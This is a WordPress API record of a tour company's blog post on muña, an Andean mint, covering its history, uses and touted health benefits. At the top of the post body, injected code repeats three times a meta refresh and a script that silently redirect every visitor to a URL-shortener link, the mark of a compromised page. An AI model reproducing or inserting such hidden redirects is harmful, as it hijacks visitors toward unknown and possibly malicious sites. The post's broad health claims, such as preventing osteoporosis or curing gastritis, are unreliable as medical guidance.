{"id":13761,"date":"2025-07-31T09:14:22","date_gmt":"2025-07-31T14:14:22","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=13761"},"modified":"2025-07-31T09:14:25","modified_gmt":"2025-07-31T14:14:25","slug":"muna-the-refreshing-mint-of-the-andes","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/muna-the-refreshing-mint-of-the-andes\/","title":{"rendered":"Mu\u00f1a: The Refreshing Mint of the Andes"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>You\u2019re wandering through bustling and <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/traditional-markets-in-cusco-culture-and-tradition-alive\/\"><strong>traditional markets<\/strong><\/a> of Cusco, Peru, surrounded by all the colors of the rainbow in textiles and the sound of vendors speaking Spanish and Quechua. Suddenly, you catch a whiff of something fresh and a little wild, like Mother Nature&#8217;s own secret recipe.\u00a0<\/p>\n\n\n\n<p>Someone hands you a warm cup of tea, and as you take a sip, your headache starts to fade, your stomach ache is gone, and your energy comes flooding back. That&#8217;s when you meet mu\u00f1a, or \u201cAndean mint\u201d &#8211; a Peruvian herb that&#8217;s been a highland staple for ages.\u00a0<\/p>\n\n\n\n<p>In this blog, let&#8217;s take a closer look at this fantastic herb, from where it comes to what it can do for us today, in a way that&#8217;s easy to understand and get excited about.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What\u2019s Mu\u00f1a Anyway?<\/strong><\/h2>\n\n\n\n<p>Mu\u00f1a (say &#8220;MOON-ya&#8221;) is a bushy plant that does really well in the highlands of <a href=\"https:\/\/viajesmachupicchu.travel\/en\/tips-for-travelers\/all-about-peru-updated-information\"><strong>Peru<\/strong><\/a>, Bolivia, and other parts of the Andes. For simplicity&#8217;s sake, we&#8217;ll just call it mu\u00f1a \u2013 it&#8217;s way easier to say than its scientific names (Minthostachys mollis or Minthostachys setosa).&nbsp;<\/p>\n\n\n\n<p>As a member of the mint family, it&#8217;s got that invigorating freshness to it. Picture this: small, bright green leaves, tiny white flowers, and a scent that perks you right up. <\/p>\n\n\n\n<p>This shrub grows like crazy on rocky slopes and dry areas at really high altitudes \u2013 between 2,700 and 3,400 meters.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Mercado-San-Pedro-Cuzco.jpg?resize=697%2C523&#038;ssl=1\" alt=\"San Pedro market fruit aisle in cusco\" class=\"wp-image-9073\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Mercado-San-Pedro-Cuzco.jpg?w=736&amp;ssl=1 736w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Mercado-San-Pedro-Cuzco.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Mercado-San-Pedro-Cuzco.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Cusco&#8217;s San Pedro Market is a good place to get mu\u00f1a.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Mu\u00f1a can get pretty tall, up to a meter, sometimes two, and it&#8217;s all fuzzy from the fine hairs covering it. Its oval, serrated leaves are rich in aromatic oils, which give mu\u00f1a its one-of-a-kind smell. Crush a leaf, and you&#8217;ll catch a whiff of menthol with an earthy, minty twist \u2013 it&#8217;s a truly unique scent.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Blast from the Past: Mu\u00f1a\u2019s History<\/strong><\/h2>\n\n\n\n<p>Mu\u00f1a is not just a trendy herb; it has been valued since the time of Pre Inca and <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/atahualpa-the-last-emperor-of-the-incas\/\"><strong>Inca <\/strong><\/a>cultures. These remarkable empire-builders of ancient Peru recognized its benefits long ago.&nbsp;<\/p>\n\n\n\n<p>They consumed mu\u00f1a to alleviate breathing issues, consumed it to soothe stomach discomfort, and even utilized the leaves as a natural pest repellent for their <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-secret-behind-perus-native-potatoes-from-farm-to-table\/\" title=\"\">potato crops<\/a><\/strong>\u2014talk about versatility!<\/p>\n\n\n\n<p>The term \u201cmu\u00f1a\u201d originates from Quechua, the language of the Andes, and following the Incas, indigenous communities like the Quechua and Aymara continued to honor the mu\u00f1a tradition.<\/p>\n\n\n\n<p>They pass down their knowledge through generations. Today, it remains a staple in Andean households, markets, and even high-end Peruvian restaurants.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Importance of Mu\u00f1a: Key Benefits<\/strong><\/h2>\n\n\n\n<p>Now, let\u2019s explore why mu\u00f1a deserves your attention. This herb is a powerhouse of natural remedies. Here\u2019s a straightforward overview of its benefits:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Altitude Sickness Relief<\/strong><\/h3>\n\n\n\n<p>If you\u2019ve felt lightheaded while hiking <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/2025-guide-to-machu-picchus-new-visitor-circuits\/\"><strong>Machu Picchu<\/strong>,<\/a> mu\u00f1a can help. Just like coca leaves, mu\u00f1a is a popular remedy for altitude sickness in Peru\u2019s highland regions. <\/p>\n\n\n\n<p>The oils in mu\u00f1a promote airway relaxation, enhance circulation, and facilitate easier breathing when oxygen levels are low.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"696\" height=\"348\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/Diseno-sin-titulo-51-696x348-1.png?resize=696%2C348&#038;ssl=1\" alt=\"A mu\u00f1a plant in the middle of a garden\" class=\"wp-image-13764\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/Diseno-sin-titulo-51-696x348-1.png?w=696&amp;ssl=1 696w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/Diseno-sin-titulo-51-696x348-1.png?resize=300%2C150&amp;ssl=1 300w\" sizes=\"auto, (max-width: 696px) 100vw, 696px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Respiratory Support<\/strong><\/h3>\n\n\n\n<p>If you\u2019re feeling congested, mu\u00f1a acts as a natural expectorant, helping to clear mucus. Its antibacterial and anti-inflammatory properties make it effective for soothing sore throats, sinus issues, and even asthma. You can try some mu\u00f1a tea with honey!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Bone and Dental Health<\/strong><\/h3>\n\n\n\n<p>Mu\u00f1a is rich in calcium, iron, and phosphorus\u2014essential nutrients for strong bones and teeth. Regular consumption may help prevent osteoporosis while maintaining a healthy smile.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Stress Relief<\/strong><\/h3>\n\n\n\n<p>The refreshing aroma of mu\u00f1a is not just pleasant; it can also be calming. It may help alleviate stress and promote mental clarity, whether inhaled, sipped, or handled.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Digestive Relief, the latest studies<\/strong><\/h2>\n\n\n\n<p>A recent study led by Peruvian scientist <strong>Mario Carhuapoma<\/strong> from Peru\u2019s Universidad Nacional Mayor de San Marcos has revealed that mu\u00f1a effectively combats <em>Helicobacter pylori<\/em>, the primary bacterium responsible for gastritis.&nbsp;<\/p>\n\n\n\n<p>Carhuapoma&#8217;s research indicates that the essential oil of mu\u00f1a not only alleviates gastritis symptoms but also directly targets and eliminates the bacterium. <\/p>\n\n\n\n<p>In clinical trials, combining mu\u00f1a with conventional antibiotics like amoxicillin and clarithromycin significantly improved patient outcomes.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"650\" height=\"275\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/67ebf86614bd318bf301f97f.png?resize=650%2C275&#038;ssl=1\" alt=\" Mario Carhuapoma Peruvian scientist holding some mu\u00f1a\" class=\"wp-image-13765\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/67ebf86614bd318bf301f97f.png?w=650&amp;ssl=1 650w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/67ebf86614bd318bf301f97f.png?resize=300%2C127&amp;ssl=1 300w\" sizes=\"auto, (max-width: 650px) 100vw, 650px\" \/><\/figure><\/div>\n\n\n<p>In some cases, mu\u00f1a capsules alone were sufficient to eradicate the infection. This discovery is particularly significant given the increasing antibiotic resistance observed in <em>H. pylori<\/em> treatments.<\/p>\n\n\n\n<p>&nbsp;Mu\u00f1a, traditionally consumed as an infusion in the Peruvian highlands, offers a natural and effective alternative for managing gastritis and promoting gastric mucosa regeneration. Here you go, one more reason to drink mu\u00f1a.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How can you use it?<\/strong><\/h2>\n\n\n\n<p>Mu\u00f1a is as awesome as it is unusual. Here\u2019s how Peruvians (and you!) can enjoy it:<\/p>\n\n\n\n<p><strong>Tea Time: <\/strong>This is the classic way. Just steep fresh or dried leaves in hot water for a few minutes, and you&#8217;ve got a refreshing, minty drink. Add a bit of honey if you like it sweet.<\/p>\n\n\n\n<p><strong>Culinary Use:<\/strong> You can also add mu\u00f1a to soups, stews, or sauces for a fresh flavor boost. For a hearty broth, shepherds near<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/whats-special-about-lake-titicaca\/\" title=\"\"> Lake Titicaca<\/a><\/strong> grind it into a paste with corn and spices.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"929\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/1743613734083.webp?resize=697%2C929&#038;ssl=1\" alt=\"Mu\u00f1a based products, we can see leaves, packed leaves and mu\u00f1a oil\" class=\"wp-image-13767\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/1743613734083.webp?resize=768%2C1024&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/1743613734083.webp?resize=225%2C300&amp;ssl=1 225w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/1743613734083.webp?resize=1152%2C1536&amp;ssl=1 1152w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/1743613734083.webp?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Sweets and Spirits:<\/strong> Mu\u00f1a&#8217;s even been turned into candies and <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spirit-of-peru-exploring-its-finest-alcoholic-beverages\/\" title=\"\">alcoholic drinks<\/a><\/strong>. Whether you prefer it sweet or spirited, it&#8217;s a fun spin.<\/p>\n\n\n\n<p><strong>Note:<\/strong> Some reports suggest that excessive and prolonged consumption of mu\u00f1a could cause liver damage due to its essential oils. <\/p>\n\n\n\n<p>However, for this to happen, the intake would have to be in large amounts and continuous over time. While mu\u00f1a offers multiple benefits, it is important not to overconsume it. <\/p>\n\n\n\n<p>It is recommended to drink it for 2 to 3 consecutive days, or up to a maximum of one week, and then take a 7-day break before consuming it again.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Mu\u00f1a Today: From the Andes to the World<\/strong><\/h2>\n\n\n\n<p>Mu\u00f1a&#8217;s no longer just a local favorite &#8211; it&#8217;s getting a global following. With people becoming more interested in natural remedies and Peruvian cuisine, this herb is popping up in tea bags, essential oils, and trendy cafes.&nbsp;<\/p>\n\n\n\n<p>Companies are now importing it legally, which is a relief for those who&#8217;ve had run-ins with the law over it. It&#8217;s also helping local economies by providing a sustainable livelihood for Andean farmers.<\/p>\n\n\n\n<p>But with its rising popularity comes the responsibility to keep things sustainable. If we&#8217;re not careful, overharvesting could hurt mu\u00f1a\u2019s natural habitat. Thankfully, Peruvians have always looked out for this plant, so they know how to keep things in balance.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How to Get It<\/strong><\/h2>\n\n\n\n<p>If you&#8217;re in Peru, you can pick up fresh mu\u00f1a at a <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/complete-guide-to-the-best-markets-in-peru\/\"><strong>market<\/strong><\/a> for less than a dollar. If you&#8217;re hiking near Cusco, you can find it growing wild &#8211; just be sure to leave some for the plants to thrive.&nbsp;<\/p>\n\n\n\n<p>Outside of Peru, check online for dried leaves or tea bags from brands like Hanan Peruvian Secrets or Peruvian Naturals.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4278837942_1060b41f2a_b.webp?resize=697%2C464&#038;ssl=1\" alt=\"A warm aMu\u00f1a tea\" class=\"wp-image-13766\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4278837942_1060b41f2a_b.webp?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4278837942_1060b41f2a_b.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4278837942_1060b41f2a_b.webp?resize=768%2C511&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/4278837942_1060b41f2a_b.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p><strong>One last tip:<\/strong> store fresh leaves in the fridge for a few days, or dry them and keep them sealed for up to a year.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong> Mu\u00f1a is Your New Favorite Herb<\/strong><\/h2>\n\n\n\n<p>So, mu\u00f1a is the Andean superstar that&#8217;s been a favorite since Inca times. It&#8217;s a soothing, altitude-fighting, and refreshing herb with a minty twist that&#8217;s hard to resist.<\/p>\n\n\n\n<p> Whether you&#8217;re brewing it, cooking with it, or just enjoying its aroma, this herb brings a taste of Peru into your life.\u00a0<\/p>\n\n\n\n<p>Next time you&#8217;re feeling under the weather or just want to experience the highlands, grab some mu\u00f1a and let it work its magic. You&#8217;ll find it&#8217;s the remarkable herb you didn&#8217;t know you needed!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>To know more about Peruvian herbs or <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-12-incredible-peruvian-superfoods-you-should-try\/\" title=\"\">superfoods<\/a><\/strong>, keep reading our blog! <strong>Viagens Machu Picchu<\/strong> would be more than glad if you let us assist you in your adventure in our Andean country.<\/p>\n\n\n\n<p>Feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us<\/a><\/strong>, so you can get info about our special deals, tours, and more! The adventure in Peru awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mu\u00f1a, or Andean mint, is a Peruvian herb with a fresh, minty aroma. Used since Inca times, it relieves altitude sickness, aids digestion, and supports bone health. With rising global interest, mu\u00f1a is now found in teas, oils, and cuisine, bringing the Andes to the world.\u00a0<\/p>\n","protected":false},"author":1,"featured_media":13763,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,192,1850,1519,1],"tags":[5208,5207,5206,5209,4434],"class_list":["post-13761","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-experiences","category-food","category-peru","category-sem-categoria","tag-andean-mint","tag-candies-and-liqueurs","tag-minthostachys-mollis","tag-muna","tag-traditional-markets"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/Muna-muna-andean-mint-aceite-esencial-de-muna_0492030b0_6729.jpg?fit=1170%2C779&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3zX","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13761","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=13761"}],"version-history":[{"count":6,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13761\/revisions"}],"predecessor-version":[{"id":17318,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13761\/revisions\/17318"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/13763"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=13761"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=13761"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=13761"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}